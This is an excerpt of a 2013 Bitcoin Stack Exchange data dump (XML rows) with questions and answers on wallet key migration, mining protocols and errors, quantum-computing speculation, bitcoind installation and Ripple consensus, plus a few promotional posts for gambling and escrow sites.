  <row Id="13300" PostTypeId="2" ParentId="13297" CreationDate="2013-09-13T23:17:45.200" Score="5" Body="&lt;p&gt;I believe Satoshi was once asked this question, and answered that it was just some curve that existed and was presumed to be efficiently implemented.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll try to find a reference.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2013-09-13T23:17:45.200" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13301" PostTypeId="2" ParentId="13266" CreationDate="2013-09-14T02:05:22.067" Score="1" Body="&lt;p&gt;Yes. You can view a transaction as being a public link between a number of public keys. If different people have the secret keys for those public keys then they have all the necessary information to calculate shared Diffie-Helman elliptic curve points. So in the simple case that you transfer all the bitcoins in an address to someone else's address then you can use his address and your private key to calculate a point which will be the same as the point calculated by him using his private key and your address. Nobody else can calculate these points.&lt;/p&gt;&#xA;" OwnerUserId="6748" LastActivityDate="2013-09-14T02:05:22.067" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13303" PostTypeId="2" ParentId="5324" CreationDate="2013-09-14T13:55:03.317" Score="20" Body="&lt;h2&gt;Manual Steps&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy your public receiving addresses from Bitcoin-Qt.&lt;/li&gt;&#xA;&lt;li&gt;Go to the Bitcoin-Qt console: click &lt;code&gt;Help/Debug Window&lt;/code&gt; and then select the &lt;code&gt;Console&lt;/code&gt; tab.&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;walletpassphrase [your password] [timeout in seconds]&lt;/code&gt; to unlock your password protected wallet.&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;dumpprivkey [Receiving Bitcoin Address]&lt;/code&gt; for each receiving address to be migrated to MultiBit. There may be hidden private change addresses in Bitcoin-Qt which don't show up in the receive tab. Run &lt;code&gt;listaddressgroupings&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Copy the results of &lt;code&gt;dumprivkey&lt;/code&gt; for each address (which are the corresponding private keys).&lt;/li&gt;&#xA;&lt;li&gt;Start the Multibit client and create a new wallet.&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;code&gt;Tools/Export Private Key&lt;/code&gt; after selecting the &lt;code&gt;Do not password protect export file&lt;/code&gt; option.&lt;/li&gt;&#xA;&lt;li&gt;Open the exported file in a text editor.&lt;/li&gt;&#xA;&lt;li&gt;Below the private key generated by MultiBit, paste the private keys you have copied above. Remember to paste them before the &lt;code&gt;End of private keys&lt;/code&gt; line.&lt;/li&gt;&#xA;&lt;li&gt;After each private key, add a date that is prior to when you created the corresponding wallet. (You can check this date in the Bitcoin-Qt &lt;code&gt;Transactions&lt;/code&gt; tab and scrolling to the very bottom.)&lt;/li&gt;&#xA;&lt;li&gt;Repeat for all addresses you want to move to Multibit Client.&lt;/li&gt;&#xA;&lt;li&gt;Save the key file and import it to the Multibit client using &lt;code&gt;Tools &amp;gt; Import Private Keys&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;In MultiBit, you may not see your total until you click &lt;code&gt;Tools &amp;gt; Reset Blockchain and Transactions&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;In order to protect yourself from theft, delete the private key files.&lt;/li&gt;&#xA;&lt;li&gt;Done!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6375" LastEditorUserId="32984" LastEditDate="2016-04-14T15:46:34.720" LastActivityDate="2016-04-14T15:46:34.720" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="13304" PostTypeId="1" AcceptedAnswerId="16966" CreationDate="2013-09-14T14:12:42.533" Score="0" ViewCount="1955" Body="&lt;p&gt;With mining gaining in popularity every day and the raw power of the ASIC devices increasing at a dramatic rate, I wonder what is the next big jump for miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Qubit&quot; rel=&quot;nofollow&quot;&gt;Qubits&lt;/a&gt;, or quantum bits, have already shown to be extremely fast at calculations.  That makes them seem like a perfect fit for mining bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is asking if a qubit device can be created for mining bitcoins and, if so, how it would affect the current mining community using standard zeros and ones.  To ask this another way... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How much faster would a qubit device mine bitcoins when compared to an existing ASIC device today?  Let's compare it to &lt;a href=&quot;https://products.butterflylabs.com/homepage/500-gh-s-bitcoin-miner.html&quot; rel=&quot;nofollow&quot;&gt;ButterflyLab's Mini Rig&lt;/a&gt; which runs at 500 GH/s.  Ten, hundreds, thousands, millions times faster?  Could quibit devices destroy the bitcoin network by controlling more than 51% of the network?&lt;/p&gt;&#xA;" OwnerUserId="6375" LastEditorUserId="5406" LastEditDate="2016-04-25T19:54:21.270" LastActivityDate="2021-03-25T17:14:12.843" Title="Can a Qubit Miner ASIC device be created and what would its impact be on the mining community?" Tags="|mining-hardware|asic|hashpower|quantum-computing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13305" PostTypeId="2" ParentId="13069" CreationDate="2013-09-14T18:39:45.247" Score="3" Body="&lt;p&gt;To just address the transaction part (the &quot;balance&quot; part has already been addressed pretty well by the others):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you make a transaction, you &lt;em&gt;must&lt;/em&gt; refer to previous transactions pouring into your address as &quot;input&quot;. In your transaction, after specifying these inputs, you need to specify output addresses and how much money goes to each. Any leftovers can be outputted back to your address, however if you wish to leave a transaction fee then you just imbalance the output (make it less than the input).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this in itself doesn't solve the problem of double spending. However, the concept of mining does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Bitcoin miners add your block to the chain, they verify that you're not spending bitcoins from an already-spent transaction. Of course, a miner could neglect to do so, but then the mined block would be rejected by the network and he wouldn't get the mining reward. Most nodes are honest nodes, so a large-scale double spend isn't a easy as it seems at first glance.&lt;/p&gt;&#xA;" OwnerUserId="1453" LastActivityDate="2013-09-14T18:39:45.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13306" PostTypeId="1" CreationDate="2013-09-14T19:54:09.553" Score="0" ViewCount="59" Body="&lt;p&gt;I bought a mining share a couple months ago from Bitcoop, downloaded the wallet that they suggested, and the wallet has taken this long to sync. The first mining payout was a few weeks ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will I get that payment or is it lost?&lt;/p&gt;&#xA;" OwnerUserId="6754" LastEditorUserId="1453" LastEditDate="2013-09-15T10:30:13.013" LastActivityDate="2013-09-15T10:30:13.013" Title="Will I lose payments on a mining share in the time it takes to sync?" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13307" PostTypeId="2" ParentId="13169" CreationDate="2013-09-14T20:08:49.210" Score="9" Body="&lt;p&gt;Stratum: the server gives the client templates that the client can use to generate its own work. Only the block header and first transaction (generation transaction) are included. Stratum uses the least bandwidth of all the protocols. Stratum also makes it very fast and efficient to switch to new work data when there is a block change, which can help keep down the reject ratio caused by stale work. Unlike the other protocols it is not HTTP, so it won't work over an HTTP proxy. There is no real specification. There is a document that explains the core features and for the rest you have to read the source code for &quot;stratum mining proxy&quot; and/or old posts on bitcointalk.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GBT (getblocktemplate): the server gives the client templates that the client can use to generate its own work. The client is given full block data and (if supported by server and client) this allows the client to modify the block. For instance the miner could choose which transactions to include in a block. Because of these features GBT needs to transfer more data than Stratum, so bandwidth usage is higher. These features are not supported anywhere yet, as far as I know. GBT is well documented through detailed specs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plain getwork: the way mining was done originally. The server gives the client a block header without any transactions or any way to modify the block except for the nonce value. The client is limited to trying all possible nonce values and will then need to request more work from the server. This causes massive bandwidth usage for modern mining hardware. Like Stratum it doesn't give the miner any control over what is mined. You get the worst of both worlds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;getwork with rollntime extension: allows the client a limited way to generate work by modifying the timestamp on the block header. If you process 10 nonce ranges per second (42.9 Ghps) you'd want to request 10 block headers from the server. As each second passes you update the timestamp on those block headers, allowing you to reuse the same work for the next second. Bandwidth usage goes up with hashrate. 429 Ghps would require 100 small request-response exchanges with the server to get enough work after every block change. Compare with GBT where bandwidth usage goes up with the size of the transactions (one big request-response exchange per block change). Which uses less bandwidth depends on your hashrate (getwork) and the size of the block you are hashing (GBT).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TL;DR: getwork is the old way. The rollntime extension gave it back some life, but it won't scale as mining devices get faster. There are two new protocols to improve mining: Stratum which focuses on low bandwidth usage and GBT which focuses on allowing the miner to control what goes in a block.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-09-14T20:08:49.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13308" PostTypeId="2" ParentId="13306" CreationDate="2013-09-14T20:27:28.757" Score="2" Body="&lt;p&gt;You will get that payment. Your wallet does not need to be online or synchronized to receive funds, only to do anything with them. (I'm assuming you're using Bitcoin-qt or something similar, I don't know what that vendor recommended or what you've done.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the client shouldn't take months to sync, so this could indicate there is some problem.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-09-14T20:27:28.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13310" PostTypeId="2" ParentId="13304" CreationDate="2013-09-14T22:45:45.757" Score="1" Body="&lt;p&gt;Using Qubits doesn't automatically make everything faster. There are certain quantum algorithms that can only be run on quantum computers that take advantage of qubits. These algorithm's might be able to solve certain problems &quot;faster&quot; but not necessarily in linear terms -- that is, you wouldn't be able to say it did something ten, or one hundred, or one million times faster, it's more like a &quot;did you get an answer or not?&quot; type of situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another important question might be, &lt;em&gt;Can the bitcoin mining algorithm be converted into such a quantum algorithm?&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if there is an answer for that, but if we can find such an algorithm, this could theoretically break bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds absurd, yes, but consider this -- the difficulty for the entire network is based on how fast blocks are found -- if blocks are found faster than normal, the network permanently increases the difficulty to compensate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quantum computer would be able to mine a block pretty much instantly and if introduced into the network, it would cause the difficulty to skyrocket, effectively locking out all other computers on the network from being able to mine simply because it's hard for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want be tempted to simply build the same network just using quantum computers entirely, but if the aforementioned difficulty reaches the maximum difficulty as defined by the protocol, all quantum computers on the network would mine blocks instantaneously, immediately forking the block-chain at every node. In order to fix this, the entire protocol would have to change in order to avoid any pitfalls brought about by quantum computing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While technically a separate entity from the bitcoin system, it should be noted that the address system is also potentially vulnerable. Algorithms exist that, if run on a quantum computer, can find a private key that matches a given public address. While the mining may or may not be effected by quantum algorithms, the security definitely is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to answer your question explicitly -- maybe, and if so, it would destroy the mining community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But let's not forget, that this is all still speculation. It might not be possible to modify the mining algorithm to run on top of qubits. Even if it is possible, it is still debatable as to &lt;a href=&quot;http://arstechnica.com/science/2013/08/d-waves-black-box-starts-to-open-up/2/&quot; rel=&quot;nofollow&quot;&gt;whether or not a true quantum computer can be built.&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2013-09-14T22:45:45.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13311" PostTypeId="1" AcceptedAnswerId="24225" CreationDate="2013-09-14T23:04:53.353" Score="2" ViewCount="13258" Body="&lt;p&gt;While mining with cgminer on TripleMining, I noticed that I was getting something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[2013-09-14 19:02:12] Rejected 88dde730 Diff #/1 GPU 0  (H-not-zero)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What does this error mean, why is it causing my shares to be rejected, and what can be done to fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some reasearch and it has something to do with the header not starting with zero. What does that mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the latest version of cgminer.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I switched pools, and now it is saying &quot;Share is above target&quot;. What can I do about that?&lt;/p&gt;&#xA;" OwnerDisplayName="user6398" LastEditorUserId="5406" LastEditDate="2016-04-28T13:54:06.463" LastActivityDate="2016-04-28T13:54:06.463" Title="What does &quot;H-not-zero&quot; and &quot;Share is above target&quot; mean?" Tags="|mining-pools|difficulty|cgminer|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13312" PostTypeId="2" ParentId="13311" CreationDate="2013-09-14T23:49:32.460" Score="2" Body="&lt;p&gt;&lt;code&gt;H-not-zero&lt;/code&gt; means the &lt;em&gt;hash&lt;/em&gt; of the header isn't zero for the first 32-bits. In other words, it indicates a share that was inherently invalid and could never have been valid. This is generally caused by overclocking, overheating, or undervolting. You can probably get these errors to go away by lowering the clock speed, raising the voltage, or improving your cooling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you aren't getting very many of them, you may prefer to just ignore them. All that matters is the rate at which you are generating valid shares. If 1% of your shares are invalid and you can only get the errors to go away by reducing your clock speed so that you generate 2% fewer shares, it's not worth it. On the other hand, if 5% of your shares are invalid and you can get the errors to go away by dropping the clock speed by 2%, it's probably worth it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In one specific case, I was getting that message while mining with bfgminer and made the mistake of sha-256 mining on a scrypt pool = invalid hashing.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="-1" LastEditDate="2013-12-02T11:25:14.577" LastActivityDate="2013-12-02T11:25:14.577" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13315" PostTypeId="1" AcceptedAnswerId="13362" CreationDate="2013-09-15T16:19:20.753" Score="0" ViewCount="267" Body="&lt;p&gt;The bitcoin-qt client generates 100 addresses from the start. But they are not shown in the &quot;receive&quot;-list (only one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I export such address with pywallet and send something to it. Will it be recognized?&lt;/p&gt;&#xA;" OwnerUserId="6730" LastActivityDate="2013-09-17T05:35:57.587" Title="What happens if a transfer is made to a unused address from the keypool?" Tags="|client|bitcoin-core|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13316" PostTypeId="2" ParentId="4869" CreationDate="2013-09-15T16:23:44.380" Score="0" Body="&lt;p&gt;Also, &lt;a href=&quot;http://doubledownbtc.com&quot; rel=&quot;nofollow&quot; title=&quot;DoubleDownBTC&quot;&gt;DoubleDownBTC&lt;/a&gt;, a Bitcoin Blackjack game, has a good explanation about provably fair gaming at &lt;a href=&quot;https://doubledownbtc.com/fair&quot; rel=&quot;nofollow&quot;&gt;https://doubledownbtc.com/fair&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They implement one of the more popular Provably Fair models using a combined Server and Client seed to seed a shuffle on a deck of cards. They return the hash of the server seed before the player creates their seed so that the game can be verified afterwards.  They also have a popup &quot;Verifier&quot; which will do this live.&lt;/p&gt;&#xA;" OwnerUserId="6760" LastActivityDate="2013-09-15T16:23:44.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13317" PostTypeId="2" ParentId="8309" CreationDate="2013-09-15T16:28:19.510" Score="-1" Body="&lt;p&gt;&lt;a href=&quot;https://doubledownbtc.com&quot; rel=&quot;nofollow&quot;&gt;DoubleDownBTC&lt;/a&gt; has a mobile friendly version and looks great on iPads or phones.  The problem with most native apps is the legal grey area of Bitcoin gambling.  There are some self published android apps out there, but I'm a little nervous about malware, etc.  The mobile optimized websites seem like a better choice.&lt;/p&gt;&#xA;" OwnerUserId="6760" LastActivityDate="2013-09-15T16:28:19.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13318" PostTypeId="1" CreationDate="2013-09-15T16:48:25.920" Score="1" ViewCount="509" Body="&lt;p&gt;Finally synchronized the blockchain, yet not sure if I'm mining for coins. Where do I find out if I am or do I need something else?&lt;/p&gt;&#xA;" OwnerUserId="6761" LastEditorUserId="5406" LastEditDate="2016-03-10T09:16:36.663" LastActivityDate="2016-03-10T09:16:36.663" Title="How do I mine for coins?" Tags="|miner-configuration|mining-software|" AnswerCount="2" CommentCount="3" ClosedDate="2013-10-11T15:16:19.873" ContentLicense="CC BY-SA 3.0" />
  <row Id="13319" PostTypeId="2" ParentId="11992" CreationDate="2013-09-15T16:48:28.050" Score="0" Body="&lt;p&gt;There are quite a few now, but a couple of things to keep in mind when betting with BTC.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Because BTC is impossible to charge back, make sure the site is legit before sending any coin&lt;/li&gt;&#xA;&lt;li&gt;The standard that you should look for is Provably Fair&lt;/li&gt;&#xA;&lt;li&gt;What is the process for collecting your winnings? Is it instant? &lt;/li&gt;&#xA;&lt;li&gt;Lots of BTC games are random number based (dice, lotto, coin flip, etc) if you're looking for real casino games like Blackjack, Poker, Craps, etc. check out these recommendations:&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://doubledownbtc.com&quot; rel=&quot;nofollow&quot;&gt;DoubleDownBTC&lt;/a&gt; - Blackjack&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sealswithclubs.eu&quot; rel=&quot;nofollow&quot;&gt;Seals With Clubs&lt;/a&gt; - Poker&lt;/p&gt;&#xA;" OwnerUserId="6760" LastActivityDate="2013-09-15T16:48:28.050" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13323" PostTypeId="2" ParentId="13318" CreationDate="2013-09-15T21:29:28.290" Score="0" Body="&lt;p&gt;The bitcoin wallet is for receiving and sending bitcoins. When it is synced you are all set. You don't need anything else to receive and send coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can receive coins even if the wallet is not synced, you just won't see them before you are synced.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-09-15T21:29:28.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13325" PostTypeId="1" AcceptedAnswerId="13327" CreationDate="2013-09-15T23:35:10.937" Score="1" ViewCount="907" Body="&lt;p&gt;i was previously using ubuntu 10.04 and i tried to install &lt;code&gt;bitcoind&lt;/code&gt;. this failed and i upgraded to ubuntu 12.04. when i run &lt;code&gt;bitcoind&lt;/code&gt; it still doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoind    &#xA;************************&#xA;EXCEPTION: 11DbException       &#xA;Db::open: Invalid argument       &#xA;bitcoin in AppInit()       &#xA;&#xA;terminate called after throwing an instance of 'DbException'&#xA;  what():  Db::open: Invalid argument&#xA;Aborted (core dumped)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also trying to install again does not work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt-get install bitcoind&#xA;Reading package lists... Done&#xA;Building dependency tree       &#xA;Reading state information... Done&#xA;The following NEW packages will be installed:&#xA;  bitcoind&#xA;0 upgraded, 1 newly installed, 0 to remove and 1 not upgraded.&#xA;Need to get 981 kB of archives.&#xA;After this operation, 2,873 kB of additional disk space will be used.&#xA;Get:1 http://ppa.launchpad.net/bitcoin/bitcoin/ubuntu/ precise/main bitcoind amd64 0.8.5-precise1 [981 kB]&#xA;Fetched 981 kB in 7s (130 kB/s)                                                                                               &#xA;(Reading database ... 222704 files and directories currently installed.)&#xA;Unpacking bitcoind (from .../bitcoind_0.8.5-precise1_amd64.deb) ...&#xA;dpkg: error processing /var/cache/apt/archives/bitcoind_0.8.5-precise1_amd64.deb (--unpack):&#xA; trying to overwrite '/usr/bin/bitcoind', which is also in package bitcoin 0.3.24-ppa2~lucid&#xA;No apport report written because MaxReports is reached already&#xA;                                                              dpkg-deb: error: subprocess paste was killed by signal (Broken pipe)&#xA;Errors were encountered while processing:&#xA; /var/cache/apt/archives/bitcoind_0.8.5-precise1_amd64.deb&#xA;E: Sub-process /usr/bin/dpkg returned an error code (1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how can i get &lt;code&gt;bitcoind&lt;/code&gt; working? i don't mind uninstalling and reinstalling if that is what it takes...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i just tried removing the package and installing again, but still no luck:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo apt-get remove --purge bitcoind&#xA;Reading package lists... Done&#xA;Building dependency tree       &#xA;Reading state information... Done&#xA;Package bitcoind is not installed, so not removed&#xA;0 upgraded, 0 newly installed, 0 to remove and 1 not upgraded.&#xA;&#xA;$ sudo apt-get install bitcoind&#xA;Reading package lists... Done&#xA;Building dependency tree       &#xA;Reading state information... Done&#xA;The following NEW packages will be installed:&#xA;  bitcoind&#xA;0 upgraded, 1 newly installed, 0 to remove and 1 not upgraded.&#xA;Need to get 981 kB of archives.&#xA;After this operation, 2,873 kB of additional disk space will be used.&#xA;Get:1 http://ppa.launchpad.net/bitcoin/bitcoin/ubuntu/ precise/main bitcoind amd64 0.8.5-precise1 [981 kB]&#xA;Fetched 981 kB in 7s (136 kB/s)                                                                                               &#xA;(Reading database ... 222704 files and directories currently installed.)&#xA;Unpacking bitcoind (from .../bitcoind_0.8.5-precise1_amd64.deb) ...&#xA;dpkg: error processing /var/cache/apt/archives/bitcoind_0.8.5-precise1_amd64.deb (--unpack):&#xA; trying to overwrite '/usr/bin/bitcoind', which is also in package bitcoin 0.3.24-ppa2~lucid&#xA;dpkg-deb: error: subprocess paste was killed by signal (Broken pipe)&#xA;Errors were encountered while processing:&#xA; /var/cache/apt/archives/bitcoind_0.8.5-precise1_amd64.deb&#xA;E: Sub-process /usr/bin/dpkg returned an error code (1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2116" LastActivityDate="2013-09-16T07:51:13.880" Title="cannot get bitcoind working on ubuntu 12.04" Tags="|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13326" PostTypeId="1" CreationDate="2013-09-16T00:08:22.667" Score="4" ViewCount="6577" Body="&lt;p&gt;I'm trying to set up Armory but it wants to download the whole blockchain.  The thing is I already have the blockchain downloaded on the same machine for bitcoin-qt.  Is there any way to get Armory to use the blockchain I already have, both to save space and avoid waiting for hours?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2017-07-26T10:38:52.113" Title="get Armory to use an existing blockchain?" Tags="|blockchain|bitcoin-core|armory|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13327" PostTypeId="2" ParentId="13325" CreationDate="2013-09-16T07:51:13.880" Score="1" Body="&lt;p&gt;Try to overwrite the existing version:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo dpkg -i --force-overwrite /var/cache/apt/archives/bitcoind_0.8.5-precise1_amd64.deb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6730" LastActivityDate="2013-09-16T07:51:13.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13328" PostTypeId="1" CreationDate="2013-09-16T08:22:37.270" Score="1" ViewCount="734" Body="&lt;p&gt;i will be storing litecoin and bitcoin transaction ids in the same table in my database, and i want to make the transaction id into a primary key. if litecoin and bitcoin transaction ids overlap then i can work around this by appending a BTC or LTC to each transaction id. can someone tell me if they do overlap?&lt;/p&gt;&#xA;" OwnerUserId="2116" LastActivityDate="2013-09-17T08:58:19.023" Title="difference between litecoin and bitcoin transaction id format" Tags="|transactions|litecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13329" PostTypeId="2" ParentId="13326" CreationDate="2013-09-16T09:48:29.533" Score="1" Body="&lt;p&gt;In the Armory settings, you can specify the location of bitcoin-qt installdir, and the home directory of bitcoin (where the blockchain is stored).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it uses the already downloaded chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;regards&lt;/p&gt;&#xA;" OwnerUserId="6730" LastActivityDate="2013-09-16T09:48:29.533" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13330" PostTypeId="1" CreationDate="2013-09-16T11:11:42.877" Score="7" ViewCount="1307" Body="&lt;p&gt;Ripple supposedly incorporates transactions into the ledger using a consensus protocol. I have been looking everywhere for a clear, formal, and precise specification of the protocol and could not find one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several related questions, e.g., &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10180/what-are-the-pros-and-cons-of-ripples-consensus-as-compared-with-bitcoins-proo&quot;&gt;What are the pros and cons of Ripple&amp;#39;s consensus as compared with Bitcoin&amp;#39;s proof-of-work?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7550/how-does-ripple-solve-the-double-spend-problem&quot;&gt;How does Ripple solve the double-spend problem?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only provide a vague description. More specifically, I am trying to understand the essence of the consensus: what happens if the Ripple network is split in half (for example if all communication lines between Europe and the US suddenly stop working), and each half of the network approves a ledger with a conflicting transaction. What happens when the network reconnects? How are the conflicting ledgers resolved?&lt;/p&gt;&#xA;" OwnerUserId="4978" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-09-16T16:42:31.617" Title="What is the exact consensus protocol Ripple uses?" Tags="|ripple|consensus|" AnswerCount="1" CommentCount="0" ClosedDate="2020-05-05T13:48:10.040" ContentLicense="CC BY-SA 3.0" />
  <row Id="13331" PostTypeId="2" ParentId="10821" CreationDate="2013-09-16T11:45:03.250" Score="2" Body="&lt;p&gt;In 2013, a paper by Decker and Wattenhofer answered the question with detailed measurements:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.tik.ee.ethz.ch/file/49318d3f56c1d525aabf7fda78b23fc0/P2P2013_041.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Decker, Wattenhofer: &amp;quot;Information Propagation in the Bitcoin Network&amp;quot; (2013)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;At current block sizes, the size of the block (via transmission and validation) matters more than the delay in requesting or propagating packets through the internet.&lt;/p&gt;&#xA;" OwnerUserId="4978" LastEditorUserId="5406" LastEditDate="2023-10-06T14:05:42.007" LastActivityDate="2023-10-06T14:05:42.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13332" PostTypeId="1" CreationDate="2013-09-16T11:58:25.253" Score="3" ViewCount="874" Body="&lt;p&gt;I'm using bitcoind and would like to understand how to create transactions that send inputs from many specifically selected addresses (from my wallet) to one destination address. I want to do manually what the &lt;em&gt;sendtoaddress&lt;/em&gt; command does automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this operation requires me to create a raw transaction could you please provide a working example? I already read &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;bitcoin.it:raw_transactions&lt;/a&gt;, but it is hard to understand without an example and unfortunately the wiki article doesn't provide any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate help greatly.&lt;/p&gt;&#xA;" OwnerUserId="6770" LastEditorUserId="5406" LastEditDate="2013-09-17T14:24:34.753" LastActivityDate="2023-08-29T05:33:26.567" Title="How can I create a transaction that collects inputs from many addresses and sends them to one address in bitcoind?" Tags="|bitcoind|raw-transaction|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13334" PostTypeId="2" ParentId="13328" CreationDate="2013-09-16T14:41:47.767" Score="2" Body="&lt;p&gt;They do not overlap. A transaction is always unique. a cryptographic hash algorithm is designed in such a way that they do not collide. This is one main requirement  of a hash function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The inputs to create the transaction ID is partially based on the inputs which are being used to create the actual spend request in the chain, thus you will never have a collision between Bitcoin and Litecoin.&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="33" LastEditDate="2013-09-17T08:58:19.023" LastActivityDate="2013-09-17T08:58:19.023" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13335" PostTypeId="2" ParentId="241" CreationDate="2013-09-16T14:59:50.950" Score="-1" Body="&lt;p&gt;&quot;Escrow For All&quot; offers escrow services at quite low rates, we are using The armoury wallet, so your funds will never go missing. In addition, we can not scam you just by the simple fact of having clearnet address and e-mail address, so if we scam you, you can track us down by the IP. For more info visit: escrowonbtc.wordpress.com&lt;/p&gt;&#xA;" OwnerUserId="6772" LastActivityDate="2013-09-16T14:59:50.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
